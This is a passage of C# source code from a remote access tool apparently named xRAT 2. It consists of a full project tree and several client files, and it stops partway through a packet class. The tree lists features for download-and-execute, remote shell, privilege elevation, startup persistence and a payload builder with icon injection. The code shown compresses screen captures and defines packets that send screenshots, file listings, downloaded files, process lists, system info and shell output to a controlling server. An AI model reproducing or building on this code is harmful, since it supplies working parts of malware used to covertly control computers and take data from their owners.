├── Client ├── Client.csproj ├── Config │ └── Settings.cs ├── Core │ ├── Client.cs │ ├── Commands │ │ └── CommandHandler.cs │ ├── Compression │ │ ├── JpgCompression.cs │ │ └── SafeQuickLZ.cs │ ├── Elevation │ │ ├── CommandButton.cs │ │ ├── FrmElevation.Designer.cs │ │ ├── FrmElevation.cs │ │ └── FrmElevation.resx │ ├── Encryption │ │ ├── AES.cs │ │ └── SHA256.cs │ ├── Extensions │ │ └── SocketExtensions.cs │ ├── Helper │ │ ├── FileSplit.cs │ │ ├── Helper.cs │ │ └── UnsafeStreamCodec.cs │ ├── Information │ │ ├── GeoIP.cs │ │ └── OSInfo.cs │ ├── Packets │ │ ├── ClientPackets │ │ │ ├── DesktopResponse.cs │ │ │ ├── DirectoryResponse.cs │ │ │ ├── DownloadFileResponse.cs │ │ │ ├── DrivesResponse.cs │ │ │ ├── GetProcessesResponse.cs │ │ │ ├── GetStartupItemsResponse.cs │ │ │ ├── GetSystemInfoResponse.cs │ │ │ ├── Initialize.cs │ │ │ ├── MonitorsResponse.cs │ │ │ ├── ShellCommandResponse.cs │ │ │ ├── Status.cs │ │ │ └── UserStatus.cs │ │ ├── IPacket.cs │ │ ├── ServerPackets │ │ │ ├── Action.cs │ │ │ ├── AddStartupItem.cs │ │ │ ├── Delete.cs │ │ │ ├── Desktop.cs │ │ │ ├── Directory.cs │ │ │ ├── Disconnect.cs │ │ │ ├── DownloadAndExecute.cs │ │ │ ├── DownloadFile.cs │ │ │ ├── DownloadFileCanceled.cs │ │ │ ├── Drives.cs │ │ │ ├── GetProcesses.cs │ │ │ ├── GetStartupItems.cs │ │ │ ├── GetSystemInfo.cs │ │ │ ├── InitializeCommand.cs │ │ │ ├── KillProcess.cs │ │ │ ├── Monitors.cs │ │ │ ├── MouseClick.cs │ │ │ ├── Reconnect.cs │ │ │ ├── Rename.cs │ │ │ ├── ShellCommand.cs │ │ │ ├── ShowMessageBox.cs │ │ │ ├── StartProcess.cs │ │ │ ├── Uninstall.cs │ │ │ ├── Update.cs │ │ │ ├── UploadAndExecute.cs │ │ │ └── VisitWebsite.cs │ │ └── UnknownPacket.cs │ ├── ProtoBuf │ │ ├── BclHelpers.cs │ │ ├── BufferExtension.cs │ │ ├── BufferPool.cs │ │ ├── CallbackAttributes.cs │ │ ├── DataFormat.cs │ │ ├── Extensible.cs │ │ ├── ExtensibleUtil.cs │ │ ├── GlobalSuppressions.cs │ │ ├── Helpers.cs │ │ ├── IExtensible.cs │ │ ├── IExtension.cs │ │ ├── ImplicitFields.cs │ │ ├── KeyValuePairProxy.cs │ │ ├── Meta │ │ │ ├── AttributeMap.cs │ │ │ ├── BasicList.cs │ │ │ ├── CallbackSet.cs │ │ │ ├── MetaType.cs │ │ │ ├── RuntimeTypeModel.cs │ │ │ ├── SubType.cs │ │ │ ├── TypeFormatEventArgs.cs │ │ │ ├── TypeModel.cs │ │ │ └── ValueMember.cs │ │ ├── NetObjectCache.cs │ │ ├── PrefixStyle.cs │ │ ├── ProtoContractAttribute.cs │ │ ├── ProtoConverterAttribute.cs │ │ ├── ProtoEnumAttribute.cs │ │ ├── ProtoException.cs │ │ ├── ProtoIgnoreAttribute.cs │ │ ├── ProtoIncludeAttribute.cs │ │ ├── ProtoMemberAttribute.cs │ │ ├── ProtoReader.cs │ │ ├── ProtoWriter.cs │ │ ├── SerializationContext.cs │ │ ├── Serializer.cs │ │ ├── Serializers │ │ │ ├── ArrayDecorator.cs │ │ │ ├── BlobSerializer.cs │ │ │ ├── BooleanSerializer.cs │ │ │ ├── ByteSerializer.cs │ │ │ ├── CharSerializer.cs │ │ │ ├── CompiledSerializer.cs │ │ │ ├── DateTimeSerializer.cs │ │ │ ├── DecimalSerializer.cs │ │ │ ├── DefaultValueDecorator.cs │ │ │ ├── DoubleSerializer.cs │ │ │ ├── EnumSerializer.cs │ │ │ ├── FieldDecorator.cs │ │ │ ├── GuidSerializer.cs │ │ │ ├── IProtoSerializer.cs │ │ │ ├── IProtoTypeSerializer.cs │ │ │ ├── ISerializerProxy.cs │ │ │ ├── ImmutableCollectionDecorator.cs │ │ │ ├── Int16Serializer.cs │ │ │ ├── Int32Serializer.cs │ │ │ ├── Int64Serializer.cs │ │ │ ├── KeyValuePairDecorator.cs │ │ │ ├── ListDecorator.cs │ │ │ ├── MemberSpecifiedDecorator.cs │ │ │ ├── NetObjectSerializer.cs │ │ │ ├── NullDecorator.cs │ │ │ ├── ParseableSerializer.cs │ │ │ ├── PropertyDecorator.cs │ │ │ ├── ProtoDecoratorBase.cs │ │ │ ├── SByteSerializer.cs │ │ │ ├── SingleSerializer.cs │ │ │ ├── StringSerializer.cs │ │ │ ├── SubItemSerializer.cs │ │ │ ├── SurrogateSerializer.cs │ │ │ ├── SystemTypeSerializer.cs │ │ │ ├── TagDecorator.cs │ │ │ ├── TimeSpanSerializer.cs │ │ │ ├── TupleSerializer.cs │ │ │ ├── TypeSerializer.cs │ │ │ ├── UInt16Serializer.cs │ │ │ ├── UInt32Serializer.cs │ │ │ ├── UInt64Serializer.cs │ │ │ └── UriDecorator.cs │ │ ├── ServiceModel │ │ │ ├── ProtoBehaviorAttribute.cs │ │ │ ├── ProtoBehaviorExtensionElement.cs │ │ │ ├── ProtoEndpointBehavior.cs │ │ │ ├── ProtoOperationBehavior.cs │ │ │ └── XmlProtoSerializer.cs │ │ ├── SubItemToken.cs │ │ └── WireType.cs │ ├── RemoteShell │ │ └── Shell.cs │ └── SystemCore.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── images │ └── information.png └── obj │ └── x86 │ └── Debug │ ├── Client.csproj.FileListAbsolute.txt │ ├── xClient.Core.Elevation.FrmElevation.resources │ └── xClient.Properties.Resources.resources ├── README.md ├── Server ├── Controls │ ├── ListViewEx.cs │ └── MainMenuEx.cs ├── Core │ ├── Build │ │ ├── ClientBuilder.cs │ │ ├── IconInjector.cs │ │ └── Renamer.cs │ ├── Client.cs │ ├── Commands │ │ └── CommandHandler.cs │ ├── Compression │ │ ├── JpgCompression.cs │ │ └── SafeQuickLZ.cs │ ├── Encryption │ │ └── AES.cs │ ├── Extensions │ │ ├── ListViewExtensions.cs │ │ └── SocketExtensions.cs │ ├── Helper │ │ ├── FileSplit.cs │ │ ├── Helper.cs │ │ ├── UPnP.cs │ │ └── UnsafeStreamCodec.cs │ ├── Misc │ │ ├── InputBox.cs │ │ ├── ListViewColumnSorter.cs │ │ └── SavedVariables.cs │ ├── Packets │ │ ├── ClientPackets │ │ │ ├── DesktopResponse.cs │ │ │ ├── DirectoryResponse.cs │ │ │ ├── DownloadFileResponse.cs │ │ │ ├── DrivesResponse.cs │ │ │ ├── GetProcessesResponse.cs │ │ │ ├── GetStartupItemsResponse.cs │ │ │ ├── GetSystemInfoResponse.cs │ │ │ ├── Initialize.cs │ │ │ ├── MonitorsResponse.cs │ │ │ ├── ShellCommandResponse.cs │ │ │ ├── Status.cs │ │ │ └── UserStatus.cs │ │ ├── IPacket.cs │ │ ├── ServerPackets │ │ │ ├── Action.cs │ │ │ ├── AddStartupItem.cs │ │ │ ├── Delete.cs │ │ │ ├── Desktop.cs │ │ │ ├── Directory.cs │ │ │ ├── Disconnect.cs │ │ │ ├── DownloadAndExecute.cs │ │ │ ├── DownloadFile.cs │ │ │ ├── DownloadFileCanceled.cs │ │ │ ├── Drives.cs │ │ │ ├── GetProcesses.cs │ │ │ ├── GetStartupItems.cs │ │ │ ├── GetSystemInfo.cs │ │ │ ├── InitializeCommand.cs │ │ │ ├── KillProcess.cs │ │ │ ├── Monitors.cs │ │ │ ├── MouseClick.cs │ │ │ ├── Reconnect.cs │ │ │ ├── Rename.cs │ │ │ ├── ShellCommand.cs │ │ │ ├── ShowMessageBox.cs │ │ │ ├── StartProcess.cs │ │ │ ├── Uninstall.cs │ │ │ ├── Update.cs │ │ │ ├── UploadAndExecute.cs │ │ │ └── VisitWebsite.cs │ │ └── UnknownPacket.cs │ ├── ProtoBuf │ │ ├── BclHelpers.cs │ │ ├── BufferExtension.cs │ │ ├── BufferPool.cs │ │ ├── CallbackAttributes.cs │ │ ├── DataFormat.cs │ │ ├── Extensible.cs │ │ ├── ExtensibleUtil.cs │ │ ├── GlobalSuppressions.cs │ │ ├── Helpers.cs │ │ ├── IExtensible.cs │ │ ├── IExtension.cs │ │ ├── ImplicitFields.cs │ │ ├── KeyValuePairProxy.cs │ │ ├── Meta │ │ │ ├── AttributeMap.cs │ │ │ ├── BasicList.cs │ │ │ ├── CallbackSet.cs │ │ │ ├── MetaType.cs │ │ │ ├── RuntimeTypeModel.cs │ │ │ ├── SubType.cs │ │ │ ├── TypeFormatEventArgs.cs │ │ │ ├── TypeModel.cs │ │ │ └── ValueMember.cs │ │ ├── NetObjectCache.cs │ │ ├── PrefixStyle.cs │ │ ├── ProtoContractAttribute.cs │ │ ├── ProtoConverterAttribute.cs │ │ ├── ProtoEnumAttribute.cs │ │ ├── ProtoException.cs │ │ ├── ProtoIgnoreAttribute.cs │ │ ├── ProtoIncludeAttribute.cs │ │ ├── ProtoMemberAttribute.cs │ │ ├── ProtoReader.cs │ │ ├── ProtoWriter.cs │ │ ├── SerializationContext.cs │ │ ├── Serializer.cs │ │ ├── Serializers │ │ │ ├── ArrayDecorator.cs │ │ │ ├── BlobSerializer.cs │ │ │ ├── BooleanSerializer.cs │ │ │ ├── ByteSerializer.cs │ │ │ ├── CharSerializer.cs │ │ │ ├── CompiledSerializer.cs │ │ │ ├── DateTimeSerializer.cs │ │ │ ├── DecimalSerializer.cs │ │ │ ├── DefaultValueDecorator.cs │ │ │ ├── DoubleSerializer.cs │ │ │ ├── EnumSerializer.cs │ │ │ ├── FieldDecorator.cs │ │ │ ├── GuidSerializer.cs │ │ │ ├── IProtoSerializer.cs │ │ │ ├── IProtoTypeSerializer.cs │ │ │ ├── ISerializerProxy.cs │ │ │ ├── ImmutableCollectionDecorator.cs │ │ │ ├── Int16Serializer.cs │ │ │ ├── Int32Serializer.cs │ │ │ ├── Int64Serializer.cs │ │ │ ├── KeyValuePairDecorator.cs │ │ │ ├── ListDecorator.cs │ │ │ ├── MemberSpecifiedDecorator.cs │ │ │ ├── NetObjectSerializer.cs │ │ │ ├── NullDecorator.cs │ │ │ ├── ParseableSerializer.cs │ │ │ ├── PropertyDecorator.cs │ │ │ ├── ProtoDecoratorBase.cs │ │ │ ├── SByteSerializer.cs │ │ │ ├── SingleSerializer.cs │ │ │ ├── StringSerializer.cs │ │ │ ├── SubItemSerializer.cs │ │ │ ├── SurrogateSerializer.cs │ │ │ ├── SystemTypeSerializer.cs │ │ │ ├── TagDecorator.cs │ │ │ ├── TimeSpanSerializer.cs │ │ │ ├── TupleSerializer.cs │ │ │ ├── TypeSerializer.cs │ │ │ ├── UInt16Serializer.cs │ │ │ ├── UInt32Serializer.cs │ │ │ ├── UInt64Serializer.cs │ │ │ └── UriDecorator.cs │ │ ├── ServiceModel │ │ │ ├── ProtoBehaviorAttribute.cs │ │ │ ├── ProtoBehaviorExtensionElement.cs │ │ │ ├── ProtoEndpointBehavior.cs │ │ │ ├── ProtoOperationBehavior.cs │ │ │ └── XmlProtoSerializer.cs │ │ ├── SubItemToken.cs │ │ └── WireType.cs │ ├── Server.cs │ └── UserState.cs ├── Forms │ ├── FrmAbout.Designer.cs │ ├── FrmAbout.cs │ ├── FrmAbout.resx │ ├── FrmAddToAutostart.Designer.cs │ ├── FrmAddToAutostart.cs │ ├── FrmAddToAutostart.resx │ ├── FrmBuilder.Designer.cs │ ├── FrmBuilder.cs │ ├── FrmBuilder.resx │ ├── FrmDownloadAndExecute.Designer.cs │ ├── FrmDownloadAndExecute.cs │ ├── FrmDownloadAndExecute.resx │ ├── FrmFileManager.Designer.cs │ ├── FrmFileManager.cs │ ├── FrmFileManager.resx │ ├── FrmMain.Designer.cs │ ├── FrmMain.cs │ ├── FrmMain.resx │ ├── FrmRemoteDesktop.Designer.cs │ ├── FrmRemoteDesktop.cs │ ├── FrmRemoteDesktop.resx │ ├── FrmRemoteShell.Designer.cs │ ├── FrmRemoteShell.cs │ ├── FrmRemoteShell.resx │ ├── FrmSettings.Designer.cs │ ├── FrmSettings.cs │ ├── FrmSettings.resx │ ├── FrmShowMessagebox.Designer.cs │ ├── FrmShowMessagebox.cs │ ├── FrmShowMessagebox.resx │ ├── FrmStartupManager.Designer.cs │ ├── FrmStartupManager.cs │ ├── FrmStartupManager.resx │ ├── FrmStatistics.Designer.cs │ ├── FrmStatistics.cs │ ├── FrmStatistics.resx │ ├── FrmSystemInformation.Designer.cs │ ├── FrmSystemInformation.cs │ ├── FrmSystemInformation.resx │ ├── FrmTaskManager.Designer.cs │ ├── FrmTaskManager.cs │ ├── FrmTaskManager.resx │ ├── FrmTermsOfUse.Designer.cs │ ├── FrmTermsOfUse.cs │ ├── FrmTermsOfUse.resx │ ├── FrmUpdate.Designer.cs │ ├── FrmUpdate.cs │ ├── FrmUpdate.resx │ ├── FrmUploadAndExecute.Designer.cs │ ├── FrmUploadAndExecute.cs │ ├── FrmUploadAndExecute.resx │ ├── FrmVisitWebsite.Designer.cs │ ├── FrmVisitWebsite.cs │ └── FrmVisitWebsite.resx ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Resources │ ├── actions.png │ ├── delete.png │ ├── restart.png │ ├── shutdown.png │ ├── standby.png │ └── textfield_rename.png ├── Server.csproj ├── Settings │ ├── ProfileManager.cs │ └── Settings.cs ├── app.config ├── flags │ ├── ad.png │ ├── ae.png │ ├── af.png │ ├── ag.png │ ├── ai.png │ ├── al.png │ ├── am.png │ ├── an.png │ ├── ao.png │ ├── ar.png │ ├── as.png │ ├── at.png │ ├── au.png │ ├── aw.png │ ├── ax.png │ ├── az.png │ ├── ba.png │ ├── bb.png │ ├── bd.png │ ├── be.png │ ├── bf.png │ ├── bg.png │ ├── bh.png │ ├── bi.png │ ├── bj.png │ ├── bm.png │ ├── bn.png │ ├── bo.png │ ├── br.png │ ├── bs.png │ ├── bt.png │ ├── bv.png │ ├── bw.png │ ├── by.png │ ├── bz.png │ ├── ca.png │ ├── catalonia.png │ ├── cc.png │ ├── cd.png │ ├── cf.png │ ├── cg.png │ ├── ch.png │ ├── ci.png │ ├── ck.png │ ├── cl.png │ ├── cm.png │ ├── cn.png │ ├── co.png │ ├── cr.png │ ├── cs.png │ ├── cu.png │ ├── cv.png │ ├── cx.png │ ├── cy.png │ ├── cz.png │ ├── de.png │ ├── dj.png │ ├── dk.png │ ├── dm.png │ ├── do.png │ ├── dz.png │ ├── ec.png │ ├── ee.png │ ├── eg.png │ ├── eh.png │ ├── england.png │ ├── er.png │ ├── es.png │ ├── et.png │ ├── europeanunion.png │ ├── fam.png │ ├── fi.png │ ├── fj.png │ ├── fk.png │ ├── fm.png │ ├── fo.png │ ├── fr.png │ ├── ga.png │ ├── gb.png │ ├── gd.png │ ├── ge.png │ ├── gf.png │ ├── gh.png │ ├── gi.png │ ├── gl.png │ ├── gm.png │ ├── gn.png │ ├── gp.png │ ├── gq.png │ ├── gr.png │ ├── gs.png │ ├── gt.png │ ├── gu.png │ ├── gw.png │ ├── gy.png │ ├── hk.png │ ├── hm.png │ ├── hn.png │ ├── hr.png │ ├── ht.png │ ├── hu.png │ ├── id.png │ ├── ie.png │ ├── il.png │ ├── in.png │ ├── io.png │ ├── iq.png │ ├── ir.png │ ├── is.png │ ├── it.png │ ├── jm.png │ ├── jo.png │ ├── jp.png │ ├── ke.png │ ├── kg.png │ ├── kh.png │ ├── ki.png │ ├── km.png │ ├── kn.png │ ├── kp.png │ ├── kr.png │ ├── kw.png │ ├── ky.png │ ├── kz.png │ ├── la.png │ ├── lb.png │ ├── lc.png │ ├── li.png │ ├── lk.png │ ├── lr.png │ ├── ls.png │ ├── lt.png │ ├── lu.png │ ├── lv.png │ ├── ly.png │ ├── ma.png │ ├── mc.png │ ├── md.png │ ├── me.png │ ├── mg.png │ ├── mh.png │ ├── mk.png │ ├── ml.png │ ├── mm.png │ ├── mn.png │ ├── mo.png │ ├── mp.png │ ├── mq.png │ ├── mr.png │ ├── ms.png │ ├── mt.png │ ├── mu.png │ ├── mv.png │ ├── mw.png │ ├── mx.png │ ├── my.png │ ├── mz.png │ ├── na.png │ ├── nc.png │ ├── ne.png │ ├── nf.png │ ├── ng.png │ ├── ni.png │ ├── nl.png │ ├── no.png │ ├── np.png │ ├── nr.png │ ├── nu.png │ ├── nz.png │ ├── om.png │ ├── pa.png │ ├── pe.png │ ├── pf.png │ ├── pg.png │ ├── ph.png │ ├── pk.png │ ├── pl.png │ ├── pm.png │ ├── pn.png │ ├── pr.png │ ├── ps.png │ ├── pt.png │ ├── pw.png │ ├── py.png │ ├── qa.png │ ├── re.png │ ├── ro.png │ ├── rs.png │ ├── ru.png │ ├── rw.png │ ├── sa.png │ ├── sb.png │ ├── sc.png │ ├── scotland.png │ ├── sd.png │ ├── se.png │ ├── sg.png │ ├── sh.png │ ├── si.png │ ├── sj.png │ ├── sk.png │ ├── sl.png │ ├── sm.png │ ├── sn.png │ ├── so.png │ ├── sr.png │ ├── st.png │ ├── sv.png │ ├── sy.png │ ├── sz.png │ ├── tc.png │ ├── td.png │ ├── tf.png │ ├── tg.png │ ├── th.png │ ├── tj.png │ ├── tk.png │ ├── tl.png │ ├── tm.png │ ├── tn.png │ ├── to.png │ ├── tr.png │ ├── tt.png │ ├── tv.png │ ├── tw.png │ ├── tz.png │ ├── ua.png │ ├── ug.png │ ├── um.png │ ├── us.png │ ├── uy.png │ ├── uz.png │ ├── va.png │ ├── vc.png │ ├── ve.png │ ├── vg.png │ ├── vi.png │ ├── vn.png │ ├── vu.png │ ├── wales.png │ ├── wf.png │ ├── ws.png │ ├── xy.png │ ├── ye.png │ ├── yt.png │ ├── za.png │ ├── zm.png │ └── zw.png ├── icons │ ├── xRAT-16x16.png │ ├── xRAT-32x32.png │ ├── xRAT-64x64.ico │ └── xRAT-64x64.png ├── images │ ├── application.png │ ├── application_add.png │ ├── archive.png │ ├── back.png │ ├── bricks.png │ ├── cancel.png │ ├── computer.png │ ├── copy.png │ ├── done.png │ ├── download.png │ ├── drive_go.png │ ├── eye.png │ ├── file.png │ ├── folder.png │ ├── image.png │ ├── information.png │ ├── key_go.png │ ├── lightning.png │ ├── monitor.png │ ├── mouse_add.png │ ├── mouse_delete.png │ ├── movie.png │ ├── music.png │ ├── pdf.png │ ├── refresh.png │ ├── run.png │ ├── server-add.png │ ├── server-disconnect.png │ ├── server-reconnect.png │ ├── server-uninstall.png │ ├── server.png │ ├── startup_programs.png │ ├── task-manager.png │ ├── terminal.png │ ├── text.png │ ├── uac-shield.png │ ├── upload.png │ ├── website.png │ ├── word.png │ ├── world_go.png │ └── world_link.png └── obj │ └── x86 │ └── Debug │ ├── Server.csproj.FileListAbsolute.txt │ ├── xServer.Forms.FrmAbout.resources │ ├── xServer.Forms.FrmAddToAutostart.resources │ ├── xServer.Forms.FrmBuilder.resources │ ├── xServer.Forms.FrmDownloadAndExecute.resources │ ├── xServer.Forms.FrmFileManager.resources │ ├── xServer.Forms.FrmMain.resources │ ├── xServer.Forms.FrmRemoteDesktop.resources │ ├── xServer.Forms.FrmRemoteShell.resources │ ├── xServer.Forms.FrmSettings.resources │ ├── xServer.Forms.FrmShowMessagebox.resources │ ├── xServer.Forms.FrmStartupManager.resources │ ├── xServer.Forms.FrmStatistics.resources │ ├── xServer.Forms.FrmSystemInformation.resources │ ├── xServer.Forms.FrmTaskManager.resources │ ├── xServer.Forms.FrmTermsOfUse.resources │ ├── xServer.Forms.FrmUpdate.resources │ ├── xServer.Forms.FrmUploadAndExecute.resources │ ├── xServer.Forms.FrmVisitWebsite.resources │ └── xServer.Properties.Resources.resources └── xRAT 2.sln /Client/Core/Compression/JpgCompression.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Drawing.Imaging; 3 | using System.IO; 4 | 5 | namespace xClient.Core.Compression 6 | { 7 | public class JpgCompression 8 | { 9 | private readonly ImageCodecInfo _encoderInfo; 10 | private readonly EncoderParameters _encoderParams; 11 | 12 | public JpgCompression(long quality) 13 | { 14 | EncoderParameter parameter = new EncoderParameter(Encoder.Quality, quality); 15 | this._encoderInfo = GetEncoderInfo("image/jpeg"); 16 | this._encoderParams = new EncoderParameters(2); 17 | this._encoderParams.Param[0] = parameter; 18 | this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionRle); 19 | } 20 | 21 | public byte[] Compress(Bitmap bmp) 22 | { 23 | using (MemoryStream stream = new MemoryStream()) 24 | { 25 | bmp.Save(stream, _encoderInfo, _encoderParams); 26 | return stream.ToArray(); 27 | } 28 | } 29 | 30 | public void Compress(Bitmap bmp, ref Stream targetStream) 31 | { 32 | bmp.Save(targetStream, _encoderInfo, _encoderParams); 33 | } 34 | 35 | private ImageCodecInfo GetEncoderInfo(string mimeType) 36 | { 37 | ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); 38 | int num2 = imageEncoders.Length - 1; 39 | for (int i = 0; i <= num2; i++) 40 | { 41 | if (imageEncoders[i].MimeType == mimeType) 42 | { 43 | return imageEncoders[i]; 44 | } 45 | } 46 | return null; 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /Client/Core/Elevation/CommandButton.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | 4 | namespace xClient.Core.Elevation 5 | { 6 | public class CommandButton : Button 7 | { 8 | public CommandButton() 9 | { 10 | this.FlatStyle = FlatStyle.System; 11 | } 12 | 13 | protected override CreateParams CreateParams 14 | { 15 | get 16 | { 17 | CreateParams cParams = base.CreateParams; 18 | if (Environment.OSVersion.Version.Major >= 6) 19 | cParams.Style |= 14; 20 | return cParams; 21 | } 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /Client/Core/Encryption/SHA256.cs: -------------------------------------------------------------------------------- 1 | using System.Security.Cryptography; 2 | using System.Text; 3 | 4 | namespace xClient.Core.Encryption 5 | { 6 | public static class SHA256 7 | { 8 | public static string ComputeHash(string input) 9 | { 10 | byte[] data = Encoding.UTF8.GetBytes(input); 11 | 12 | using (SHA256Managed sha = new SHA256Managed()) 13 | { 14 | data = sha.ComputeHash(data, 0, data.Length); 15 | } 16 | 17 | StringBuilder hash = new StringBuilder(); 18 | 19 | foreach (byte _byte in data) 20 | hash.Append(_byte.ToString("X2")); 21 | 22 | return hash.ToString().ToUpper(); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/DesktopResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DesktopResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public byte[] Image { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int Quality { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public int Monitor { get; set; } 16 | 17 | public DesktopResponse() 18 | { 19 | } 20 | 21 | public DesktopResponse(byte[] image, int quality, int monitor) 22 | { 23 | this.Image = image; 24 | this.Quality = quality; 25 | this.Monitor = monitor; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/DirectoryResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DirectoryResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] Files { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string[] Folders { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public long[] FilesSize { get; set; } 16 | 17 | public DirectoryResponse() 18 | { 19 | } 20 | 21 | public DirectoryResponse(string[] files, string[] folders, long[] filessize) 22 | { 23 | this.Files = files; 24 | this.Folders = folders; 25 | this.FilesSize = filessize; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/DownloadFileResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DownloadFileResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int ID { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public string Filename { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public byte[] Block { get; set; } 16 | 17 | [ProtoMember(4)] 18 | public int MaxBlocks { get; set; } 19 | 20 | [ProtoMember(5)] 21 | public int CurrentBlock { get; set; } 22 | 23 | [ProtoMember(6)] 24 | public string CustomMessage { get; set; } 25 | 26 | public DownloadFileResponse() 27 | { 28 | } 29 | 30 | public DownloadFileResponse(int id, string filename, byte[] block, int maxblocks, int currentblock, 31 | string custommessage) 32 | { 33 | this.ID = id; 34 | this.Filename = filename; 35 | this.Block = block; 36 | this.MaxBlocks = maxblocks; 37 | this.CurrentBlock = currentblock; 38 | this.CustomMessage = custommessage; 39 | } 40 | 41 | public void Execute(Client client) 42 | { 43 | client.Send(this); 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/DrivesResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class DrivesResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] Drives { get; set; } 10 | 11 | public DrivesResponse() 12 | { 13 | } 14 | 15 | public DrivesResponse(string[] drives) 16 | { 17 | this.Drives = drives; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetProcessesResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class GetProcessesResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] Processes { get; set; } 10 | 11 | [ProtoMember(2)] 12 | public int[] IDs { get; set; } 13 | 14 | [ProtoMember(3)] 15 | public string[] Titles { get; set; } 16 | 17 | public GetProcessesResponse() 18 | { 19 | } 20 | 21 | public GetProcessesResponse(string[] processes, int[] ids, string[] titles) 22 | { 23 | this.Processes = processes; 24 | this.IDs = ids; 25 | this.Titles = titles; 26 | } 27 | 28 | public void Execute(Client client) 29 | { 30 | client.Send(this); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using ProtoBuf; 3 | 4 | namespace xClient.Core.Packets.ClientPackets 5 | { 6 | [ProtoContract] 7 | public class GetStartupItemsResponse : IPacket 8 | { 9 | [ProtoMember(1)] 10 | public Dictionary StartupItems { get; set; } 11 | 12 | public GetStartupItemsResponse() 13 | { 14 | } 15 | 16 | public GetStartupItemsResponse(Dictionary startupitems) 17 | { 18 | this.StartupItems = startupitems; 19 | } 20 | 21 | public void Execute(Client client) 22 | { 23 | client.Send(this); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class GetSystemInfoResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string[] SystemInfos { get; set; } 10 | 11 | public GetSystemInfoResponse() 12 | { 13 | } 14 | 15 | public GetSystemInfoResponse(string[] systeminfos) 16 | { 17 | this.SystemInfos = systeminfos; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/MonitorsResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class MonitorsResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public int Number { get; set; } 10 | 11 | public MonitorsResponse() 12 | { 13 | } 14 | 15 | public MonitorsResponse(int number) 16 | { 17 | this.Number = number; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/ShellCommandResponse.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class ShellCommandResponse : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Output { get; set; } 10 | 11 | public ShellCommandResponse() 12 | { 13 | } 14 | 15 | public ShellCommandResponse(string output) 16 | { 17 | this.Output = output; 18 | } 19 | 20 | public void Execute(Client client) 21 | { 22 | client.Send(this); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Packets/ClientPackets/Status.cs: -------------------------------------------------------------------------------- 1 | using ProtoBuf; 2 | 3 | namespace xClient.Core.Packets.ClientPackets 4 | { 5 | [ProtoContract] 6 | public class Status : IPacket 7 | { 8 | [ProtoMember(1)] 9 | public string Message { get; set; } 10 | 11 | public Status() 12 | { 13 | } 14 | 15 | public Status(string message) 16 | { 17 